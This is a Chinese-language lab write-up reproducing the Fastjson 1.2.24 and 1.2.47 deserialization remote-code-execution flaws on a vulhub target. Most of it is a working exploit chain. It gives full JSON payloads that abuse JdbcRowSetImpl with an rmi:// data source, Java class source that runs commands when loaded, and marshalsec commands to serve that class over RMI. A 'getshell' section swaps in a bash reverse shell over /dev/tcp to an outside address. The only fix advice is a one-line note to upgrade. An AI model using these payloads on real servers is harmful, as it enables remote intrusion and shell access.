Fastjson 1.2.24、47 反序列化導致任意命令執行漏洞復現
漏洞描述:
fastjson是一個java編寫的高性能功能非常完善的JSON庫,應用范圍非常廣,在github上star數都超過8k。
在2017年3月15日,fastjson官方主動爆出fastjson在1.2.24及之前版本存在遠程代碼執行高危安全漏洞。攻擊者可以通過此漏洞遠程執行惡意代碼來入侵服務器。
於1.2.24版本后增加了反序列化黑名單,而在1.2.48以前的版本中,攻擊者可以利用特殊構造的json字符串繞過黑名單檢測,成功執行任意命令。
1.2.24影響范圍:
fastjson <= 1.2.24
1.2.47影響范圍:
fastjson <= 1.2.47
漏洞成因:
fastjson在解析json的過程中,支持使用@type字段來指定反序列化的類型,並調用該類的set/get方法來訪問屬性,當組件開啟了autotype功能並且反序列化不可信數據時,攻擊者可以構造數據,使目標應用的代碼執行流程進入特定類的特定setter或者getter方法中,即可構造出一些惡意利用鏈。在Fastjson 1.2.47及以下版本中,利用其緩存機制可實現對未開啟autotype功能的繞過。詳細的原理分析:https://www.freebuf.com/vuls/208339.html
漏洞POC:
1.2.24:
POST / HTTP/1.1
Host: 靶機ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 164
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://class文件所在地址:rmi監聽端口/TouchFile",
"autoCommit":true
}
}
1.2.47:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://class文件所在地址:rmi監聽端口/TouchFile",
"autoCommit":true
}
}
參考文章:
http://xxlegend.com/2017/04/29/title- fastjson 遠程反序列化poc的構造和分析/
https://www.cnblogs.com/ssan/p/12844868.html
https://www.freebuf.com/vuls/178012.html
環境搭建:
-
開啟vulhub中1.2.24-rce的靶場環境,復現1.2.47就用對應的環境(1.2.47搭建過程與24相同,以下就以24為例),vulhub安裝教程:https://www.cnblogs.com/Iamyoyodan/p/13323445.html ,瀏覽器訪問服務默認端口8090,即可看到JSON格式的輸出
-
接下來生成一個帶命令執行代碼的類,要求本地安裝了java環境(我的版本是jdk1.8);將類文件放到外網上,要求安裝Tomcat或Phpstudy(本次實驗使用的是phpstudy工具)
先新建一個txt文件,將以下代碼寫入,保存重命名為TouchFile.java
// javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
然后cmd進入文件目錄,javac編譯生成TouchFile.class文件
javac TouchFile.java
接着將類文件放到外網上,將class文件放入phpstudy的WWW目錄下,啟動phpstudy開啟Apache服務,瀏覽器訪問
class文件地址(此處為本地ip)/TouchFile.class
,可成功下載文件 -
接着要借助marshalsec項目,啟動RMI服務器,監聽9999端口,並制定加載遠程類TouchFile.class,要求本地安裝了maven,(我的版本是maven-3.6.3)
將項目下載后,cmd進入文件目錄,執行命令將項目打包成jar包
mvn clean package -DskipTests
根據上圖可知jar包存放在\target目錄下,在該目錄下cmd進入運行命令開始監聽,到此環境就搭建完畢
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://class文件的地址/#TouchFile" 9999
復現過程:
-
訪問fastjson頁面后抓包,將響應包內容改為POC,發送執行
-
在監聽端口查看到已建立連接
-
現在到靶機里查看命令是否執行成功,輸入命令進入fastjson環境容器執行 bash
docker exec -it e4538af52892 bash
-
看到success文件就成功執行了命令
getshell:
將TouchFile.java的內容改為:
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/反彈shell的ip/端口 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
漏洞修復:
- 使用已經修復該漏洞的版本